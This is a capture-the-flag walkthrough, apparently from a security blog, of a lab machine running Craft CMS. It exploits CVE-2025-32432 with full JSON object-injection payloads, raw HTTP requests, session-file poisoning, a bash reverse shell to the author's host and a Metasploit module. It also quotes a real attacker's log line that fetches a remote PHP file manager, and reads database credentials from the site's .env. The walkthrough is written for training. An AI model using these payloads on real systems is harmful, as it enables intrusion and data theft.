Orion

Orion is a Linux box running a Craft CMS website. I’ll exploit an unauthenticated remote code execution vulnerability in Craft’s image transform endpoint, abusing an object injection flaw in the underlying Yii framework to poison a PHP session file and execute my payload, landing a shell as the web user. Reading the Craft configuration, I’ll find database credentials, dump the users table, and crack a bcrypt hash to reach the next user, though that step turns out to be optional. For root, I’ll find inetd serving telnet, and abuse an authentication bypass that provides access as root by smuggling a “-f root” value through the USER environment variable.

Box Info

Easy
Release Date 23 Jun 2026
Retire Date 23 Jun 2026
OS Linux Linux
Non-competitive release: no bloods
Creator Pho3o

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.244.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-09 00:11 UTC
Nmap scan report for 10.129.244.146
Host is up, received reset ttl 63 (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.244.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-09 00:12 UTC
Nmap scan report for 10.129.244.146
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds

Based on the OpenSSH and Nginx versions, the host is likely running Ubuntu 22.04 Jammy LTS.

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

There’s a redirect to orion.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently, but not find any. I’ll update my hosts file:

10.129.244.146 orion.htb

I’ll rescan port 80 with the hostname, but not find anything interesting.

Website - TCP 80

Site

The site is for a telecom company:

image-20260708202112454 expand

All the links in the nav bar point to anchors on this same page. There’s a contact form at the bottom, but trying to submit returns an error:

image-20260708202739666

In Burp I can see it sends a POST to /api/contact, which gets a 404 response, so this is not interesting.

Tech Stack

The HTTP response headers show that this site is running Craft CMS behind Nginx:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 09 Jul 2026 00:20:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Robots-Tag: none
X-Powered-By: Craft CMS
Content-Length: 12272

Craft CMS is a PHP content management system that I’ve exploited before in HTB Surveillance. The main page loads as /index.php as well. The 404 page for a .php extension is the default Nginx 404:

image-20260708203235659

However, when I visit a non-existent page without an extension, there’s a Craft CMS debug error page:

image-20260708203529188 expand

The page seems to be hosted out of /var/www/html/craft. It’s also referencing Yii Framework 2.0.51, which makes sense as Craft CMS is built on top of the Yii Framework.

Admin Panel

Typically I skip the directory brute force for open source software, opting to look up how the site works rather than brute force. The Craft documentation shows the control panel is at /admin.

I can find this via brute force as well with feroxbuster:

oxdf@hacky$ feroxbuster -u http://orion.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://orion.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET      662l     1940w    54201c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://orion.htb/admin => http://orion.htb/admin/login
302      GET        0l        0w        0c http://orion.htb/logout => http://orion.htb/
200      GET      178l      431w     5420c http://orion.htb/assets/js/main.js
200      GET      929l     1619w    17370c http://orion.htb/assets/css/style.css
301      GET        7l       12w      178c http://orion.htb/assets => http://orion.htb/assets/
200      GET      385l     1182w    12272c http://orion.htb/
301      GET        7l       12w      178c http://orion.htb/assets/images => http://orion.htb/assets/images/
301      GET        7l       12w      178c http://orion.htb/assets/js => http://orion.htb/assets/js/
301      GET        7l       12w      178c http://orion.htb/assets/css => http://orion.htb/assets/css/
200      GET      385l     1182w    12272c http://orion.htb/index
404      GET        0l        0w        0c http://orion.htb/assets/images/twiki
404      GET        0l        0w        0c http://orion.htb/assets/js/zzz
404      GET        0l        0w        0c http://orion.htb/assets/ba
200      GET      385l     1182w    12272c http://orion.htb/p1
404      GET        0l        0w        0c http://orion.htb/assets/css/col
404      GET        0l        0w        0c http://orion.htb/assets/css/leadership
200      GET      385l     1182w    12272c http://orion.htb/p15
200      GET      385l     1182w    12272c http://orion.htb/p13
404      GET        0l        0w        0c http://orion.htb/assets/pm_attachments
404      GET        0l        0w        0c http://orion.htb/assets/js/dcforum
404      GET        0l        0w        0c http://orion.htb/assets/js/diabetes
404      GET        0l        0w        0c http://orion.htb/assets/incfiles
404      GET        0l        0w        0c http://orion.htb/assets/css/contenidos
200      GET      385l     1182w    12272c http://orion.htb/p2
404      GET        0l        0w        0c http://orion.htb/assets/images/K
404      GET        0l        0w        0c http://orion.htb/assets/images/Manual
200      GET      385l     1182w    12272c http://orion.htb/p10
404      GET        0l        0w        0c http://orion.htb/assets/js/dba
404      GET        0l        0w        0c http://orion.htb/assets/js/en-ca
404      GET        0l        0w        0c http://orion.htb/assets/css/definitions
404      GET        0l        0w        0c http://orion.htb/assets/js/eyeblaster
404      GET        0l        0w        0c http://orion.htb/assets/images/feedbacks
404      GET        0l        0w        0c http://orion.htb/assets/css/downloadable
404      GET        0l        0w        0c http://orion.htb/assets/kalendar
404      GET        0l        0w        0c http://orion.htb/assets/js/ficheros
404      GET        0l        0w        0c http://orion.htb/usercenter
404      GET        0l        0w        0c http://orion.htb/assets/js/flashcoms
404      GET        0l        0w        0c http://orion.htb/assets/images/foo
404      GET        0l        0w        0c http://orion.htb/assets/images/forumpolicy
404      GET        0l        0w        0c http://orion.htb/assets/css/filer
404      GET        0l        0w        0c http://orion.htb/assets/js/how
404      GET        0l        0w        0c http://orion.htb/assets/css/mastercard
404      GET        0l        0w        0c http://orion.htb/SiteGlobals
200      GET      385l     1182w    12272c http://orion.htb/p3
404      GET        0l        0w        0c http://orion.htb/assets/hints
404      GET        0l        0w        0c http://orion.htb/chatter
404      GET        0l        0w        0c http://orion.htb/assets/here
404      GET        0l        0w        0c http://orion.htb/assets/css/elink
404      GET        0l        0w        0c http://orion.htb/os2
404      GET        0l        0w        0c http://orion.htb/_mods
404      GET        0l        0w        0c http://orion.htb/assets/images/TSWeb
404      GET        0l        0w        0c http://orion.htb/assets/js/Transfers
404      GET        0l        0w        0c http://orion.htb/assets/css/mars
404      GET        0l        0w        0c http://orion.htb/assets/js/vic
404      GET        0l        0w        0c http://orion.htb/assets/images/TT2483
404      GET        0l        0w        0c http://orion.htb/assets/js/A5
404      GET        0l        0w        0c http://orion.htb/Wordpress
404      GET        0l        0w        0c http://orion.htb/assets/js/GCshared
404      GET        0l        0w        0c http://orion.htb/assets/images/junkbox
404      GET        0l        0w        0c http://orion.htb/assets/google_search
404      GET        0l        0w        0c http://orion.htb/assets/WebResource
404      GET        0l        0w        0c http://orion.htb/assets/WebTrends
404      GET        0l        0w        0c http://orion.htb/assets/js/hfs
404      GET        0l        0w        0c http://orion.htb/assets/images/homeowner
404      GET        0l        0w        0c http://orion.htb/assets/js/hip
404      GET        0l        0w        0c http://orion.htb/assets/images/homme
404      GET        0l        0w        0c http://orion.htb/assets/css/hdd
404      GET        0l        0w        0c http://orion.htb/js_menu
404      GET        0l        0w        0c http://orion.htb/assets/image_gallery
404      GET        0l        0w        0c http://orion.htb/jsf
404      GET        0l        0w        0c http://orion.htb/assets/js/honeywell
404      GET        0l        0w        0c http://orion.htb/kaluga
404      GET        0l        0w        0c http://orion.htb/matrix_engine
404      GET        0l        0w        0c http://orion.htb/assets/js/itn
200      GET      385l     1182w    12272c http://orion.htb/p5
200      GET      385l     1182w    12272c http://orion.htb/p7
404      GET        0l        0w        0c http://orion.htb/assets/css/Sheriff
404      GET        0l        0w        0c http://orion.htb/assets/comp_image
404      GET        0l        0w        0c http://orion.htb/cristianos
404      GET        0l        0w        0c http://orion.htb/cronJobs
404      GET        0l        0w        0c http://orion.htb/assets/js/coke
404      GET        0l        0w        0c http://orion.htb/assets/contactforms
404      GET        0l        0w        0c http://orion.htb/dads
404      GET        0l        0w        0c http://orion.htb/assets/js/comment-page-7
404      GET        0l        0w        0c http://orion.htb/assets/css/color_picker
404      GET        0l        0w        0c http://orion.htb/assets/images/compatibility
404      GET        0l        0w        0c http://orion.htb/dashofer
404      GET        0l        0w        0c http://orion.htb/assets/data_transfer
404      GET        0l        0w        0c http://orion.htb/assets/datebase
404      GET        0l        0w        0c http://orion.htb/assets/images/csvfiles
404      GET        0l        0w        0c http://orion.htb/assets/css/cronfiles
404      GET        0l        0w        0c http://orion.htb/assets/images/ctpl
404      GET        0l        0w        0c http://orion.htb/assets/css/csg
404      GET        0l        0w        0c http://orion.htb/assets/js/ctb
404      GET        0l        0w        0c http://orion.htb/assets/diapo
404      GET        0l        0w        0c http://orion.htb/easyAdmin
404      GET        0l        0w        0c http://orion.htb/assets/js/decks
404      GET        0l        0w        0c http://orion.htb/assets/images/del_blog
404      GET        0l        0w        0c http://orion.htb/assets/css/ddc
404      GET        0l        0w        0c http://orion.htb/assets/econtent
404      GET        0l        0w        0c http://orion.htb/mnogosearch
200      GET      385l     1182w    12272c http://orion.htb/p24
200      GET      385l     1182w    12272c http://orion.htb/p6
200      GET      385l     1182w    12272c http://orion.htb/p0
404      GET        0l        0w        0c http://orion.htb/assets/images/ttt-out
404      GET        0l        0w        0c http://orion.htb/assets/wEWBAK
404      GET        0l        0w        0c http://orion.htb/assets/images/wares
404      GET        0l        0w        0c http://orion.htb/assets/css/vp2
404      GET        0l        0w        0c http://orion.htb/assets/wing
404      GET        0l        0w        0c http://orion.htb/yecla
404      GET        0l        0w        0c http://orion.htb/assets/images/web_styles
404      GET        0l        0w        0c http://orion.htb/assets/css/waroot
404      GET        0l        0w        0c http://orion.htb/assets/images/webalizar
404      GET        0l        0w        0c http://orion.htb/yms
404      GET        0l        0w        0c http://orion.htb/assets/images/webshops
404      GET        0l        0w        0c http://orion.htb/assets/wp-upload
404      GET        0l        0w        0c http://orion.htb/zimmer-suiten
404      GET        0l        0w        0c http://orion.htb/1264
404      GET        0l        0w        0c http://orion.htb/assets/js/lmbbox-smileys
404      GET        0l        0w        0c http://orion.htb/assets/xxx_images
404      GET        0l        0w        0c http://orion.htb/assets/css/worldmap
404      GET        0l        0w        0c http://orion.htb/assets/js/wp_content
404      GET        0l        0w        0c http://orion.htb/1295
200      GET      385l     1182w    12272c http://orion.htb/p124
200      GET      385l     1182w    12272c http://orion.htb/p167
200      GET      385l     1182w    12272c http://orion.htb/p43
200      GET      385l     1182w    12272c http://orion.htb/p76
200      GET      385l     1182w    12272c http://orion.htb/p111
404      GET        0l        0w        0c http://orion.htb/assets/images/FileLib_Admin
404      GET        0l        0w        0c http://orion.htb/assets/msc-39
404      GET        0l        0w        0c http://orion.htb/assets/needlogin
404      GET        0l        0w        0c http://orion.htb/assets/js/931
[####################] - 35m   150007/150007  0s      found:132     errors:5
[####################] - 35m    30000/30000   14/s    http://orion.htb/
[####################] - 35m    30000/30000   14/s    http://orion.htb/assets/
[####################] - 35m    30000/30000   14/s    http://orion.htb/assets/images/
[####################] - 35m    30000/30000   14/s    http://orion.htb/assets/js/
[####################] - 35m    30000/30000   14/s    http://orion.htb/assets/css/ 

Interestingly, /pX where X is any number (one or more digits) returns the main site. This is an artifact from if the site had a lot of articles and was paginated.

Visiting /admin provides the login form:

image-20260708205247954

The Craft CMS version of 5.6.16 is at the bottom of the page.

Shell as www-data

CVE-2025-32432 Background

Searching for “craftcms 5.6.16 exploit” returns references to CVE-2025-32432:

image-20260708205446720

NIST describes CVE-2025-32432 as:

Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector. This issue has been patched in versions 3.9.15, 4.14.15, and 5.6.17, and is an additional fix for CVE-2023-41892.

That says it’s remote code execution (RCE) and low-complexity, but doesn’t give any additional details. It does say this CVE is an additional fix for CVE-2023-41892, which is the CVE I exploited in HTB Surveillance. This vulnerability was added to the CISA KEV list on 20 March 2026.

There’s a little more detail on the post on the Craft website:

On April 7, 2025, we received a report of a Craft CMS vulnerability that was based on a vulnerability in the Yii framework. Yii fixed that vulnerability in Yii 2.0.52.

There’s a detailed post from Orange Cyberdefense on how they found this vulnerability doing incident response and tracking what the malicious actor was doing. The issue is in the unauthenticated admin/actions/assets/generate-transform endpoint responsible for image transforms. The function in Craft passes user input to the ImageTransform constructor without validation, so I can inject arbitrary object properties using Yii’s as <name> syntax. From here I’ll abuse CVE-2024-58136, the underlying vulnerability in Yii2 that allows __class to take precedence over class, where Craft only checks for class, letting me instantiate any class with constructor args I control.

NIST says this is an additional fix for CVE-2023-41892. That was a different way to load an arbitrary PHP class from the framework, and the POCs look very similar, though to different endpoints.

There are POCs for CVE-2025-32432 freely available, but it’s more interesting to do manually to understand how it works, so I’ll show both.

Manual Exploit

Exploit POC

To interact with this endpoint I’ll need a couple items from the instance: a valid session and CSRF cookie, and a CSRF token. I can fetch these from /admin/login:

oxdf@hacky$ curl http://orion.htb/admin/login -v -s 2>&1 | grep -i -e "set-cookie" -e 'type="hidden"'
< Set-Cookie: CraftSessionId=3res20lmmobovu3h4d0196e2v2; path=/; HttpOnly
< Set-Cookie: CRAFT_CSRF_TOKEN=56863069d86d81ed05392c5af378f6f53d3d1469d001ac6c964d5b83b7c4a146a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22KoS6YPYvf3SUcI12Mskz7W750xLpoIFMgWjqj2ZX%22%3B%7D; path=/; HttpOnly
        <input type="hidden" name="CRAFT_CSRF_TOKEN" value="18fv3wEHKC17hTFkCtjtdO-e1NkbFOwlsFXCuF0Eg5oXp55z7CToN5yovOlYV3FbHbZiMWmR3Eai7b-jLEPbEIAtjsgyTcXXcPD0AoYWsm8=">

From this I’ll craft a request, adding the two cookies and the CSRF token as the value in the X-CSRF-Token header. The body is copied directly from the blog post, and while it says it requires finding a valid assetId, it doesn’t seem to matter in this case (I wasted a bunch of time trying to find one):

POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: orion.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Cookie: CraftSessionId=aiqstu9q0lqvj1vpghhq8qt77q; CRAFT_CSRF_TOKEN=082ae7398cc3b2cf3e33344cb0bb06e03903a6e84c9d204e69b72cca40bd7df0a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22GyXivbOBfa75dV8Hrd5ZNVVWLXwDkERlRwF8jg1P%22%3B%7D
X-CSRF-Token: 3sL48VgUnduN1e9hurGR-C4DRmo0uH06IMD8gICw9Lf-iaUolRBWL5m7oJgudtKZ67TYVN7nqbBcZ3Mweu4rbWyYi8Tr9abbrP7jEP93Z38=
Content-Type: application/json
Content-Length: 352

{
    "assetId": 11,
    "handle": {
        "width": 123,
        "height": 123,
        "as session": {
            "class": "craft\\behaviors\\FieldLayoutBehavior",
            "__class": "GuzzleHttp\\Psr7\\FnStream",
            "__construct()": [
                []
            ],
            "_fn_close": "phpinfo"
        }
    }
}

There is an as session field added to the handle key, with a legit class that CraftCMS will validate, and a different __class that CraftCMS will ignore but Yii will use over class. Within the FnStream object, the _fn_close function will run, which in this case is a simple PHPinfo for proof of concept.

When I send this, it loads PHPinfo:

image-20260709064252719

That proves that this is vulnerable.

RCE Strategy

To exploit this for arbitrary execution, I’ll use a different PHP object. The original actors using this in the wild added an as hack field to the handle key:

{
    "assetId": 11,
    "handle": {
        "width": 123,
        "height": 123,
        "as hack": {
            "class": "\\craft\\behaviors\\FieldLayoutBehavior",
            "__class": "\\yii\\rbac\\PhpManager",
            "__construct()": [
                {
                    "itemFile": "/var/lib/php/sessions/sess_3hqjhnca16mpmepr0r94mpu0nr"
                }
            ]
        }
    }
}

The PhpManager object in Yii takes an itemFile in the constructor, which the docs describe as:

The path of the PHP script that contains the authorization items.

This implies that that PHP script is executed, which means that if I can get PHP into a file on Orion, I can execute it using this gadget.

The malicious actor did this in a very clever way. Here’s the log from the real incident response:

172.86.113.137 - - [10/Feb/2025:08:16:51 +0100] "GET /index.php?p=admin/dashboard&a=<?=file\_put\_contents(\"filemanager.php\",file\_get\_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?> HTTP/1.1" 302 -

When the actor visits p=admin/dashboard, they will be redirected to the login page. However, the URL they are trying to access will be stored in the session file, so that after login the CMS can look up that URL and send the user where they were trying to go. In this case, by including a random parameter (they used a, but anything would work), an attacker can write whatever they want, and it gets written to the session file on disk in a predictable location, /var/lib/php/sessions/sess_<session id>.

RCE POC

I’ll visit the dashboard to poison the session:

image-20260709075004124

The 302 response to /admin/login shows that the URL cache in the session file should have worked.

Now I’ll POST, using the gadget to load the session file from my cookie. On success, the response will still be a 500 crash, and I won’t be able to see the results (so cmd=id isn’t useful). But I can ping:

POST /index.php?p=admin/actions/assets/generate-transform&cmd=ping%20-c%201%2010.10.15.243 HTTP/1.1
Host: orion.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Cookie: CraftSessionId=aiqstu9q0lqvj1vpghhq8qt77q; CRAFT_CSRF_TOKEN=082ae7398cc3b2cf3e33344cb0bb06e03903a6e84c9d204e69b72cca40bd7df0a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22GyXivbOBfa75dV8Hrd5ZNVVWLXwDkERlRwF8jg1P%22%3B%7D
X-CSRF-Token: 3sL48VgUnduN1e9hurGR-C4DRmo0uH06IMD8gICw9Lf-iaUolRBWL5m7oJgudtKZ67TYVN7nqbBcZ3Mweu4rbWyYi8Tr9abbrP7jEP93Z38=
Content-Type: application/json
Content-Length: 418

{
    "assetId": 11,
    "handle": {
        "width": 123,
        "height": 123,
        "as hack": {
            "class": "\\craft\\behaviors\\FieldLayoutBehavior",
            "__class": "\\yii\\rbac\\PhpManager",
            "__construct()": [
                {
                    "itemFile": "/var/lib/php/sessions/sess_aiqstu9q0lqvj1vpghhq8qt77p"
                }
            ]
        }
    }
}

At my host:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:48:43.385179 IP 10.129.244.146 > 10.10.15.243: ICMP echo request, id 1, seq 1, length 64
11:48:43.385206 IP 10.10.15.243 > 10.129.244.146: ICMP echo reply, id 1, seq 1, length 64

Shell

To get a shell, I’ll just add a bash reverse shell as the payload:

POST /index.php?p=admin/actions/assets/generate-transform&cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.15.243/443%200>%261' HTTP/1.1
Host: orion.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Cookie: CraftSessionId=aiqstu9q0lqvj1vpghhq8qt77q; CRAFT_CSRF_TOKEN=082ae7398cc3b2cf3e33344cb0bb06e03903a6e84c9d204e69b72cca40bd7df0a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22GyXivbOBfa75dV8Hrd5ZNVVWLXwDkERlRwF8jg1P%22%3B%7D
X-CSRF-Token: 3sL48VgUnduN1e9hurGR-C4DRmo0uH06IMD8gICw9Lf-iaUolRBWL5m7oJgudtKZ67TYVN7nqbBcZ3Mweu4rbWyYi8Tr9abbrP7jEP93Z38=
Content-Type: application/json
Content-Length: 418

{
    "assetId": 11,
    "handle": {
        "width": 123,
        "height": 123,
        "as hack": {
            "class": "\\craft\\behaviors\\FieldLayoutBehavior",
            "__class": "\\yii\\rbac\\PhpManager",
            "__construct()": [
                {
                    "itemFile": "/var/lib/php/sessions/sess_aiqstu9q0lqvj1vpghhq8qt77p"
                }
            ]
        }
    }
}

Sending that returns a shell:

oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.244.146 41152
bash: cannot set terminal process group (960): Inappropriate ioctl for device
bash: no job control in this shell
www-data@orion:~/html/craft/web$

I’ll upgrade using the standard trick:

www-data@orion:~/html/craft/web$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@orion:~/html/craft/web$ ^Z
[1]+  Stopped                 nc -lvnp 443
oxdf@hacky$ stty raw -echo; fg
nc -lvnp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@orion:~/html/craft/web$

Metasploit Exploitation

I’ll fire up Metasploit with msfconsole and search for craft:

msf > search craftcms

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                    ---------------  ----       -----  -----------
   0  exploit/linux/http/craftcms_preauth_rce_cve_2025_32432  2025-04-14       excellent  Yes    Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
   1    \_ target: PHP In-Memory                              .                .          .      .
   2    \_ target: Unix/Linux Command Shell                   .                .          .      .
   3  exploit/linux/http/craftcms_ftp_template                2024-12-19       excellent  Yes    Craft CMS Twig Template Injection RCE via FTP Templates Path
   4  exploit/linux/http/craftcms_unauth_rce_cve_2023_41892   2023-09-13       excellent  Yes    Craft CMS unauthenticated Remote Code Execution (RCE)
   5    \_ target: PHP                                        .                .          .      .
   6    \_ target: Unix Command                               .                .          .      .
   7    \_ target: Linux Dropper                              .                .          .      .


Interact with a module by name or index. For example info 7, use 7 or use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'

Rank 0 looks like the same vulnerability. I’ll use it, and check the options:

msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options 

Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   ASSET_ID  373              yes       Existing asset ID
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks
                                        4, socks5, socks5h, http
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
                                        loit.html
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.251    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory



View the full module info with the info, or info -d command.

I’ll set the RHOSTS and LHOST, and run it:

msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS orion.htb
RHOSTS => orion.htb
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST tun0
LHOST => 10.10.15.243
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
[*] Started reverse TCP handler on 10.10.15.243:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (42137 bytes) to 10.129.244.146
[*] Meterpreter session 1 opened (10.10.15.243:4444 -> 10.129.244.146:55786) at 2026-07-09 12:53:17 +0000

meterpreter > getuid 
Server username: www-data

That’s a shell as www-data.

Shell as adam

Going for user is actually optional on Orion, as there’s no reason that I can’t go directly to root from www-data.

Enumeration

Users

There’s one user with a home directory in /home:

www-data@orion:/home$ ls
adam

www-data can’t access it, but that’s almost certainly where user.txt is.

This matches with users with shells set in passwd:

www-data@orion:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
adam:x:1000:1000::/home/adam:/bin/bash

Web

The CraftCMS instance is homed in /var/www/html/craft (matching the error message above):

www-data@orion:~/html/craft$ ls -la
total 364
drwxrwxr-x  7 www-data www-data   4096 Mar  6 11:22 .
drwxr-xr-x  3 root     root       4096 Mar  6 11:19 ..
-rw-rw-r--  1 www-data www-data    718 Mar  6 11:24 .env
-rw-rw-r--  1 www-data www-data    411 Nov 18  2025 .env.example.dev
-rw-rw-r--  1 www-data www-data    623 Nov 18  2025 .env.example.production
-rw-rw-r--  1 www-data www-data    619 Nov 18  2025 .env.example.staging
-rw-rw-r--  1 www-data www-data     31 Nov 18  2025 .gitignore
-rw-rw-r--  1 www-data www-data    624 Nov 18  2025 bootstrap.php
-rw-rw-r--  1 www-data www-data    611 Mar  6 11:20 composer.json
-rw-rw-r--  1 www-data www-data 310507 Mar  6 11:20 composer.lock
drwxrwxr-x  4 www-data www-data   4096 Mar  6 11:26 config
-rwxr-xr-x  1 www-data www-data    309 Nov 18  2025 craft
drwxrwxr-x  5 www-data www-data   4096 Mar  6 11:24 storage
drwxrwxr-x  2 www-data www-data   4096 Mar 10 10:46 templates
drwxrwxr-x 49 www-data www-data   4096 Mar  6 11:20 vendor
drwxrwxr-x  4 www-data www-data   4096 Mar  7 15:31 web

It is configured in a .env file in that directory:

# Read about configuration, here:
# https://craftcms.com/docs/5.x/configure.html

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=dev

# General settings
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

PRIMARY_SITE_URL=http://orion.htb/

That password does not work for adam, but it does allow connecting to the database:

www-data@orion:~/html/craft$ mysql -u root -pSuperSecureCraft123Pass! 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 37393
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

There are five databases:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| orion              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.000 sec)

The non-default one is orion. It has 66 tables:

MariaDB [(none)]> use orion
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [orion]> show tables;
+----------------------------+
| Tables_in_orion            |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| assets_sites               |
| authenticator              |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elementactivity            |
| elements                   |
| elements_bulkops           |
| elements_owners            |
| elements_sites             |
| entries                    |
| entries_authors            |
| entrytypes                 |
| fieldlayouts               |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| recoverycodes              |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_entrytypes        |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| sso_identities             |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| webauthn                   |
| widgets                    |
+----------------------------+
66 rows in set (0.000 sec)

The most interesting one to check is users:

